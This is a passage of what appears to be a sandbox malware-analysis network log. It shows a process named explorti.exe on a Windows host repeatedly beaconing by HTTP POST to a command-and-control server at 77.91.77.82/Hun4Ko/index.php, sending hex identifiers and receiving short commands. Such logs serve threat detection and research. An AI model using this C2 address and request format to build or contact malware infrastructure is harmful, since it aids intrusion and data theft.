Jul 2, 2024 04:13:31.860367060 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:31.860574961 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:31.860733032 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:31.862370968 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:32.087618113 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	54826	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:32.195214987 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:32.904964924 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:32.905710936 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:33.123821974 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	54827	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:33.241878033 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:33.926994085 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:33.927829981 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:34.142371893 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	54828	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:34.257564068 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:34.943903923 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:34.944756985 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:35.159831047 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	54829	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:35.273108959 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:35.968525887 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:35.969265938 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:36.186629057 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	54830	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:36.304534912 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:37.011038065 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:37.011804104 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:37.231813908 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	54831	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:37.351912022 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:38.051417112 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:38.052098036 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:38.272430897 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	54832	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:38.382603884 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:39.086400032 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:39.087327003 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:39.310285091 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	54833	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:39.429651976 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:40.129559040 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:40.132514954 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:40.354006052 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	54834	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:40.460853100 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:41.183795929 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:41.184549093 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:41.411151886 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	54835	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:41.523262024 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:42.218688965 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:42.219589949 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:42.440473080 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	54836	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:42.556278944 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:43.240888119 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:43.241802931 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:43.459498882 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	54837	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:43.570422888 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:44.294951916 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
